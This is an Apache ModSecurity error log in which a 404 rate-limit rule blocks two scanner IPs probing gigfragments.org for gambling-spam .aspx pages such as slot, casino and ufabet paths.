[Mon May 18 05:28:21.625580 2026] [:error] [pid 63115:tid 63119] [client 185.231.100.76:42718] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agoy9ez_ApFcYdejvGfnfQAAAQI"]
[Mon May 18 05:28:23.474799 2026] [:error] [pid 63115:tid 63141] [client 185.231.100.76:54126] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agoy9-z_ApFcYdejvGfngQAAARg"]
[Mon May 18 05:28:25.465151 2026] [:error] [pid 63115:tid 63139] [client 185.231.100.76:54138] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agoy-ez_ApFcYdejvGfniAAAARY"]
[Mon May 18 05:28:27.468186 2026] [:error] [pid 20884:tid 20902] [client 185.231.100.76:54150] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agoy-3v9K_lRldrJG3OuywAAANA"]
[Mon May 18 05:28:29.455573 2026] [:error] [pid 20778:tid 20834] [client 185.231.100.76:54158] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agoy_Wb9K2_TPGoCpArxWQAAAFA"]
[Mon May 18 05:28:31.284872 2026] [:error] [pid 20777:tid 20795] [client 185.231.100.76:54162] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agoy_4HClf0EYFQBeRFDiwAAAAk"]
[Mon May 18 05:28:33.288809 2026] [:error] [pid 63115:tid 63137] [client 185.231.100.76:33130] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agozAez_ApFcYdejvGfnkwAAARQ"]
[Mon May 18 05:28:35.280161 2026] [:error] [pid 20779:tid 20846] [client 185.231.100.76:33136] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agozAyF3Tl5ZGU-QyEDWiQAAAIA"]
[Mon May 18 05:28:37.279600 2026] [:error] [pid 63115:tid 63129] [client 185.231.100.76:33146] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agozBez_ApFcYdejvGfnnwAAAQw"]
[Mon May 18 05:28:39.279095 2026] [:error] [pid 20778:tid 20818] [client 185.231.100.76:33160] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agozB2b9K2_TPGoCpArxZAAAAEA"]
[Mon May 18 05:28:41.291685 2026] [:error] [pid 20777:tid 20790] [client 185.231.100.76:33176] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agozCYHClf0EYFQBeRFDkQAAAAQ"]
[Mon May 18 05:28:43.298534 2026] [:error] [pid 20778:tid 20822] [client 185.231.100.76:50910] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agozC2b9K2_TPGoCpArxcQAAAEQ"]
[Mon May 18 05:28:45.294551 2026] [:error] [pid 20778:tid 20824] [client 185.231.100.76:50924] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agozDWb9K2_TPGoCpArxdQAAAEY"]
[Mon May 18 05:28:47.306327 2026] [:error] [pid 20779:tid 20850] [client 185.231.100.76:50928] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agozDyF3Tl5ZGU-QyEDWowAAAIQ"]
[Mon May 18 05:28:49.307377 2026] [:error] [pid 63115:tid 63133] [client 185.231.100.76:50930] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agozEez_ApFcYdejvGfnpQAAARA"]
[Mon May 18 05:28:51.309717 2026] [:error] [pid 63115:tid 63125] [client 185.231.100.76:50934] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agozE-z_ApFcYdejvGfnsAAAAQg"]
[Mon May 18 05:28:53.343926 2026] [:error] [pid 20777:tid 20799] [client 185.231.100.76:58486] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agozFYHClf0EYFQBeRFDoQAAAA0"]
[Mon May 18 05:28:55.332518 2026] [:error] [pid 20778:tid 20836] [client 185.231.100.76:58492] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agozF2b9K2_TPGoCpArxfgAAAFI"]
[Mon May 18 05:28:57.332858 2026] [:error] [pid 20778:tid 20824] [client 185.231.100.76:58500] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agozGWb9K2_TPGoCpArxgAAAAEY"]
[Mon May 18 05:28:59.299606 2026] [:error] [pid 63115:tid 63135] [client 185.231.100.76:58512] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agozG-z_ApFcYdejvGfnvgAAARI"]
[Mon May 18 05:29:39.158565 2026] [:error] [pid 63115:tid 63134] [client 185.231.100.76:41320] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "agozQ-z_ApFcYdejvGfoGgAAARE"]
[Mon May 18 05:29:41.090995 2026] [:error] [pid 20779:tid 20850] [client 185.231.100.76:39116] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "agozRSF3Tl5ZGU-QyEDW3AAAAIQ"]
[Mon May 18 05:29:43.076531 2026] [:error] [pid 63115:tid 63131] [client 185.231.100.76:35312] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "agozR-z_ApFcYdejvGfoJQAAAQ4"]
[Mon May 18 05:29:45.065168 2026] [:error] [pid 63115:tid 63137] [client 185.231.100.76:35322] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agozSez_ApFcYdejvGfoLgAAARQ"]
[Mon May 18 05:29:47.204753 2026] [:error] [pid 63115:tid 63135] [client 185.231.100.76:35332] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agozS-z_ApFcYdejvGfoNwAAARI"]
[Mon May 18 05:29:49.197175 2026] [:error] [pid 63115:tid 63140] [client 185.231.100.76:35346] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agozTez_ApFcYdejvGfoOQAAARc"]
[Mon May 18 05:29:51.184412 2026] [:error] [pid 20777:tid 20807] [client 185.231.100.76:35360] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agozT4HClf0EYFQBeRFDzAAAABU"]
[Mon May 18 05:29:53.196405 2026] [:error] [pid 63115:tid 63133] [client 185.231.100.76:57496] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agozUez_ApFcYdejvGfoQgAAARA"]
[Mon May 18 05:29:55.183665 2026] [:error] [pid 63115:tid 63128] [client 185.231.100.76:57502] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agozU-z_ApFcYdejvGfoRAAAAQs"]
[Mon May 18 05:29:57.018890 2026] [:error] [pid 20884:tid 20910] [client 185.231.100.76:57516] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agozVXv9K_lRldrJG3OvMQAAANg"]
[Mon May 18 05:29:59.024647 2026] [:error] [pid 20884:tid 20889] [client 185.231.100.76:57524] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agozV3v9K_lRldrJG3OvOAAAAMM"]
[Mon May 18 05:30:01.014728 2026] [:error] [pid 20778:tid 20836] [client 185.231.100.76:57532] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agozWWb9K2_TPGoCpArxqgAAAFI"]
[Mon May 18 05:30:03.043603 2026] [:error] [pid 20884:tid 20896] [client 185.231.100.76:40544] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agozW3v9K_lRldrJG3OvOwAAAMo"]
[Mon May 18 05:30:05.037350 2026] [:error] [pid 20778:tid 20821] [client 185.231.100.76:40546] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agozXWb9K2_TPGoCpArxqwAAAEM"]
[Mon May 18 05:30:07.032154 2026] [:error] [pid 20884:tid 20899] [client 185.231.100.76:40554] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agozX3v9K_lRldrJG3OvQAAAAM0"]
[Mon May 18 05:30:09.063841 2026] [:error] [pid 20884:tid 20903] [client 185.231.100.76:40560] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agozYXv9K_lRldrJG3OvQwAAANE"]
[Mon May 18 05:30:11.057202 2026] [:error] [pid 20779:tid 20861] [client 185.231.100.76:40574] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agozYyF3Tl5ZGU-QyEDW6AAAAI8"]
[Mon May 18 05:30:13.052625 2026] [:error] [pid 63115:tid 63119] [client 185.231.100.76:35272] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agozZez_ApFcYdejvGfoWgAAAQI"]
[Mon May 18 05:30:15.070544 2026] [:error] [pid 20779:tid 20860] [client 185.231.100.76:35276] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agozZyF3Tl5ZGU-QyEDW7AAAAI4"]
[Mon May 18 05:30:17.072729 2026] [:error] [pid 20779:tid 20849] [client 185.231.100.76:35278] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agozaSF3Tl5ZGU-QyEDW7gAAAIM"]
[Mon May 18 05:30:19.073693 2026] [:error] [pid 63115:tid 63139] [client 185.231.100.76:35292] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agoza-z_ApFcYdejvGfoYwAAARY"]
[Mon May 18 05:30:21.092675 2026] [:error] [pid 63115:tid 63120] [client 185.231.100.76:35308] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agozbez_ApFcYdejvGfoZgAAAQM"]
[Mon May 18 05:30:23.096370 2026] [:error] [pid 20777:tid 20795] [client 185.231.100.76:59302] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agozb4HClf0EYFQBeRFD2gAAAAk"]
[Mon May 18 05:30:25.106612 2026] [:error] [pid 20884:tid 20893] [client 185.231.100.76:59308] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agozcXv9K_lRldrJG3OvTAAAAMc"]
[Mon May 18 05:30:27.121840 2026] [:error] [pid 20884:tid 20904] [client 185.231.100.76:59324] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agozc3v9K_lRldrJG3OvTgAAANI"]
[Mon May 18 05:30:29.112121 2026] [:error] [pid 20884:tid 20905] [client 185.231.100.76:59326] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agozdXv9K_lRldrJG3OvUAAAANM"]
[Mon May 18 05:30:31.122232 2026] [:error] [pid 20779:tid 20863] [client 185.231.100.76:59328] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agozdyF3Tl5ZGU-QyEDW-wAAAJE"]
[Mon May 18 05:30:33.122269 2026] [:error] [pid 20779:tid 20859] [client 185.231.100.76:40630] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agozeSF3Tl5ZGU-QyEDW_QAAAI0"]
[Mon May 18 05:30:35.127975 2026] [:error] [pid 20884:tid 20895] [client 185.231.100.76:40642] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agoze3v9K_lRldrJG3OvVwAAAMk"]
[Mon May 18 08:31:32.960075 2026] [:error] [pid 20884:tid 20895] [client 135.181.213.219:48882] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agpd5Hv9K_lRldrJG3POHgAAAMk"]
[Mon May 18 08:31:34.949759 2026] [:error] [pid 20778:tid 20821] [client 135.181.213.219:48886] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agpd5mb9K2_TPGoCpAoPVwAAAEM"]
[Mon May 18 08:31:36.965390 2026] [:error] [pid 20884:tid 20904] [client 135.181.213.219:48890] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agpd6Hv9K_lRldrJG3POIgAAANI"]
[Mon May 18 08:31:38.963992 2026] [:error] [pid 63115:tid 63140] [client 135.181.213.219:48898] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agpd6uz_ApFcYdejvGcEZwAAARc"]
[Mon May 18 08:31:40.809055 2026] [:error] [pid 20884:tid 20901] [client 135.181.213.219:4030] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agpd7Hv9K_lRldrJG3POKQAAAM8"]
[Mon May 18 08:31:42.810116 2026] [:error] [pid 20777:tid 20788] [client 135.181.213.219:4040] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agpd7oHClf0EYFQBeRFQDgAAAAI"]
[Mon May 18 08:31:44.803353 2026] [:error] [pid 20884:tid 20900] [client 135.181.213.219:4042] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agpd8Hv9K_lRldrJG3POLwAAAM4"]
